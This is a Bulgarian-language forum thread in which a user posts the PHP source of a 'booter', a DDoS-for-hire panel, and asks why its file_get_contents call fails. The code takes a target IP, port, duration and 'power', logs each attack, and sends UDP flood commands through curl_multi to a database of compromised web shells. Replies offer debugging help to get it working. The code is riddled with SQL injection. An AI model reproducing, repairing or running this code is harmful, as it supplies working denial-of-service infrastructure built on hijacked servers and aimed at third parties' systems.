Проблем с file-get-contents

Boech123

Registered
Здравейте :)
Имам проблем
Когато попълня всички полета ми излиза грешка
_boot.php е
PHP:
<?php
		//Start session
	session_start();
	//Check whether the session variable
	//SESS_MEMBER_ID is present or not
	include('includes/db.php');
	if(!isset($_SESSION['SESS_MEMBER_ID']) || (trim($_SESSION['SESS_MEMBER_ID'])=='')) {
		header("location: index.php");
		exit();
}

?>
	
	
<?php


$query = "SELECT * FROM users WHERE id={$_SESSION['SESS_MEMBER_ID']}";
$result = mysql_query($query);
$row = mysql_fetch_array($result, MYSQL_ASSOC);

$staff = $row['staff'];
$bootallowed = $row['nextboot'];
$bootuser = $row['username'];
$months = $row['months'];
if (isset($_GET['target'])){
	$target = $_GET['target'];
}else{
	$target = "0.0.0.0";
}
if ($months == 'lifetime'){
	$nextpay = 'Never';
}else{
	$nextpay = date('d M Y H:i:s', $row['months']);
}
	
include("_top.php");

$result = mysql_query("SELECT * FROM shells WHERE status='up'"); // Query the database and get the count
$shellcount = mysql_num_rows($result);

$result = mysql_query("SELECT * FROM stats WHERE id='1'");
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$shellcent = $row['percentage'];
$bootphpurl = $row['bootphpurl'];
$realshells = round($shellcount*($shellcent/100));

$query=mysql_query("SELECT * FROM stats WHERE id=1");
$row=mysql_fetch_array($query, MYSQL_ASSOC);
$wver = $row['wver'];
$percentage = $row['percentage'];
$lastcheck = $row['lastshell'];
$bootTitle = $row['boottitle'];

?>
<script type="text/javascript">
var v=1;

function check(i) {      
  if(i.value > 100) {
    i.value=v;
    alert("The power must be 100 or less!");
  }
  else
    v=i.value;
}

</script>
 <form name="booter" action="" method="post">
		<div class="message warning close">
							<h2>Warning!</h2>
							<p>Abusing the booter will result into a suspension, please read the <a href="tos.html">Terms Of Service</a> before use!</p>
						</div>
						<div class="message information close">
							<h2>Booter Status</h2>
							<p><?php //Status
if (isset($_POST['boot']))
{
	$time = time();
	$waittime = $bootallowed - $time;
	if ($waittime <= 0)
	{
		if (isset($_POST['host']))
		{
			if (isset($_POST['port']))
			{
				if (isset($_POST['time']))
				{
					$host = $_POST['host'];
					$port = $_POST['port'];
					$time = $_POST['time'];
					$power = $_POST['power'];
					$filter = filter_var($host, FILTER_VALIDATE_IP);
					if (!$filter)
					{
						echo $host . ' is an invalid IP.';
					}
					else if (!is_numeric($port))
					{
						echo $port . ' is not a valid port.';
					}
					else if ((0 > $port) OR ($port > 65000))
					{
						echo 'Port needs to be between 0 and 65000';
					}
					else if (!is_numeric($time))
					{
						echo $time . ' is not a valid time.';
					}
					else if (((10 > $time) || ($time > 120)) && ($staff != "admin"))
					{
						echo 'Time needs to be between 10 and 120 seconds.';
					}
					else if (!is_numeric($power))
					{
						echo "Power needs to be numeric.";
					}
					else if (($power < 1) OR ($power > 100))
					{
						echo "Power needs to be between 1 and 100.";
					}
					else
					{
						$sqlFriend = "SELECT * FROM friends WHERE ip='$host'";
						$queryFriend = mysql_query($sqlFriend);
						$friendRows = mysql_num_rows($queryFriend);
						if ($friendRows > 0)
						{
							echo "You cannot boot a friend.";
						}
						else
						{
							if ($port == 0)
							{
								$port = 'rand';
							}
							$fullurl = 'http://' . $_SERVER['HTTP_HOST'] . dirname($_SERVER['SCRIPT_NAME']) . 'testeskiadi-boot.php?user=' . $bootuser . '&host=' . $host . '&port=' . $port . '&time=' . $time . '&ip=' . $_SERVER['REMOTE_ADDR'] . '&power=' . $power;
							$bootcontents = file_get_contents($fullurl, true);
							if ($bootcontents == 'success')
							{ 
								echo 'Booting <strong>' . $host . '</strong> on port <strong>' . $port . '</strong> for <strong>' . $time . '</strong> seconds with <strong>' . $power . '</strong>% power.';
								$nextboot = time() + 5 + 10; //The + 150 is what you would change. This is in seconds.
								mysql_query("UPDATE users SET nextboot='$nextboot' WHERE id={$_SESSION['SESS_MEMBER_ID']}");
							}
							else if ($bootcontents == 'BLACKLISTED IP')
							{
								echo 'This IP address is blacklisted.';
							}
							else if ($bootcontents == 'not the script')
							{
								echo 'Error 2021';
							}
							else
							{
								echo 'Unknown Error <br />' . $bootcontents;
							}
						}
					}
				}
				else
				{
					echo 'You did not specify a time.';
				}
			}
			else
			{
				echo 'You did not specify a port.';
			}
		}
		else
		{
			echo 'You did not specify a target.';
		}
	}
	else
	{
		echo 'You need to wait ' . $waittime . ' more seconds.';
	}
}
else
{
	echo 'Standing by...';
}
?></p>
						</div>
		<div id="baron">
		Target
		<div id="pright">
		<input size="42" class="booter" name="host" type="text" id="host" value="<? echo $target; ?>"><br />
		</div>
		</div>
		<div id="baroff">
		Port
		<div id="pright">
		<input size="42" class="booter" name="port" type="text" id="port" value="3074">
		</div>
		</div>
		<div id="baron">
		Time
		<div id="pright">
       		<input sliderindex="1" class="booter" name="time" value="150" type="text"><br />
		</div>
		</div>
		<div id="baroff">
		Power
		<div id="pright">
		<input sliderindex="2" class="booter" name="power" size="2" value="100" type="text" onkeyup="check(this)">%
		<br />
		</div>
		</div>
		<div id="baron">
		<div id="pright2">
       		<input type="submit" name="boot" class="booter" value="Boot!"><br />
		</div>
		</div>
		</form>
	<br>
	<br>
<div class="message information close">
	<h2>Resolve Host to IP Address</h2>
	<p>Don't fill in the IP Address but host or website, don't add http:// infront of it as there is already!</p>
</div>
          <?php
function printForm()
{
global $www;

$action = $_SERVER["PHP_SELF"];

print <<<ENDHTM
<form method="post" action="$action">
<div id="baron">
http:// <input type="text" class="booter" name="www" value="$www"/> <input type="submit" class="booter" value="Resolve"/>
</div>
</form>

ENDHTM;
}

if($_REQUEST['www'])
{
print $www;

$domain = strtolower($_REQUEST['www']);
$xArray = @parse_url($domain);

	if(!$xArray["scheme"])
	{
	$domain = "http://" . $domain;
	$xArray = @parse_url($domain);
	}

	$xProtocol = $xArray["scheme"];
	$xHost   = $xArray["host"];
	$xPort   = $xArray["port"];
	$xUser   = $xArray["user"];
	$xPass   = $xArray["pass"];
	$xPath   = $xArray["path"];
	$xQuery  = $xArray["query"];
	$xFragment = $xArray["fragment"];

	$domain = $xProtocol ."://". $xHost . $xPath . ($xQuery?"?":"") . $xQuery;
	$www = $xHost . $xPath . ($xQuery?"?":"") . $xQuery;

	printForm();

		if(@gethostbyname($xHost) == $xHost)
		{
		$ip2 = "Returned hostname";
		$hostname2 = "Cancelled";
		}
		else
		{
		$ip2 = @gethostbyname($xHost);
		$hostname2 = @gethostbyaddr($ip2);
		}
	print "<div id='baroff'><strong>IP Address :</strong> $ip2</div>\n";
	print "<div id='baron'><strong>Hostname :</strong> $hostname2</div>\n";
}
else
{
		if(isset($_COOKIE['URL']))
		{
		$www = $_COOKIE['URL'];
		}
printForm();
}
?>
testeskiadi-boot е
PHP:
<?php

include_once("includes/db.php"); 					//Include the database connection
$query=mysql_query("SELECT * FROM stats");
$row=mysql_fetch_array($query, MYSQL_ASSOC);
		$timenow = time();
 		$host = $_GET['host'];  							//Set the host GET to an easier to use variable
		$user = $_GET['user'];  							//Set the HWID GET to an easier to use variable
		$port = $_GET['port'];  							//Set the port GET to an easier to use variable
		$shells = $_GET['power'];
		$ip = $_GET['ip'];									//Get the users IP, for logging
		$time = $_GET['time'];								//Set the time GET to an easier to use variable

if ($_SERVER['REMOTE_ADDR'] == $_SERVER['SERVER_ADDR']) {
		 
$query=mysql_query("SELECT * FROM stats");					//Prepare the query for configuration
$row=mysql_fetch_array($query, MYSQL_ASSOC);				//Fetch the rows
$dbpercentage = $row['percentage'];							//Get the master shell use percentage
 		
$fullcurl = "?act=phptools&host=".$host."&time=".$time."&type=udp&port=".$port;  //GET data for the cURL handler
$sql = "SELECT * FROM badips WHERE ip='$host'";
$query = mysql_query($sql);
$num = mysql_num_rows($query);
		if ($num == 0) {
if((isset($_GET['host'])) and (isset($_GET['user'])) and (isset($_GET['port'])) and (isset($_GET['time']))){ 		//If sending GET data

	ignore_user_abort(TRUE); 						//Let the page be exited and the script continue
			
	$query_log = "INSERT INTO logs (user, ip, target, duration, shells, time) VALUE ('$user', '$ip', '$host', '$time', '$shells', '$timenow' )";
	mysql_query($query_log) or die(mysql_error());			//Log the attack

	$sql = "SELECT COUNT(*) FROM shells"; 					//Count the rows in the table
	$result = mysql_query($sql); 							//Run the count query
	$row = mysql_fetch_array($result); 						//Get the array for the rows
	$rows_in_table = $row[0]; 								//Set it to a variable
 
	$percentage = $dbpercentage / 100.0; //Set the percentage
	$count = intval(round($rows_in_table * $percentage));	//Set the percentage to select by
			
    $SQL = mysql_query("SELECT url FROM shells WHERE status='up' ORDER BY RAND() LIMIT {$count}") ; //Select the shells
    $mh = curl_multi_init();								//Initialize the multi_handle
    $handles = array();										//Create an array for the handles
	
    while($resultSet = mysql_fetch_array($SQL)){         	//While fetching the rows
            $ch = curl_init($resultSet['url'] . $fullcurl); //Load the urls and send GET data
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);          //Only load it for 15 seconds (Long enough to send the data) 
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_multi_add_handle($mh, $ch);				//Add the handles to the multi_handle
            $handles[] = $ch;								//Load the array into a handle
    }

    $running = null;										// Create a status variable so we know when exec is done.
    do { 													//execute the handles
      curl_multi_exec($mh,$running);      					// Call exec.  This call is non-blocking, meaning it works in the background.
      usleep(200000); 										// Sleep while it's executing.  You could do other work here, if you have any.
    } while ($running > 0);									// Keep going until it's done.

    foreach($handles as $ch)								// For loop to remove (close) the regular handles.
    {
      curl_multi_remove_handle($mh, $ch);					// Remove the current array handle.
    } 
    curl_multi_close($mh);									// Close the multi handle
	
			echo "success";									//Successful. Tell the client to start the timer
		}else
		{
		mysql_query("INSERT INTO badlogs (user, ip, target, reason, time) VALUE ('$user', '$ip', '$host', 'Wrong GET info', '$timenow' )"); 
		}
		}else{
			mysql_query("INSERT INTO badlogs (user, ip, target, reason, time) VALUE ('$user', '$ip', '$host', 'Blacklisted IP', '$timenow' )"); 
			echo 'BLACKLISTED IP';
		}
		}else{
			mysql_query("INSERT INTO badlogs (user, ip, target, reason, time) VALUE ('$user', '$scriptip', '$host', 'NOT THE SCRIPT', '$timenow' )"); 
			echo 'not the script';
		}		
		
		?>
Ето снимка на грешката
prikachi.com/images/974/4255974S.jpg
Благодаря предварително :)
 
Виж какъв линк излиза в грешката:

neshto.com\neshto.php?..

И file_get_contents($fullurl, true) трябва да е false вместо true (2рия параметър).

bg.php.net/manual/en/function.file-get-contents.php
 
Да не е защото го тествам на домашен хост и линка е 93.123.**.**
Всъщност написах в браузара само localhost/testeskiadi-boot.php?user=cruel&host=0.0.0.0&port=3074&time=150&ip=127.0.0.1&power=100
и няма грешка сичко е ок но каде е проблема ;(
 

Back
Горе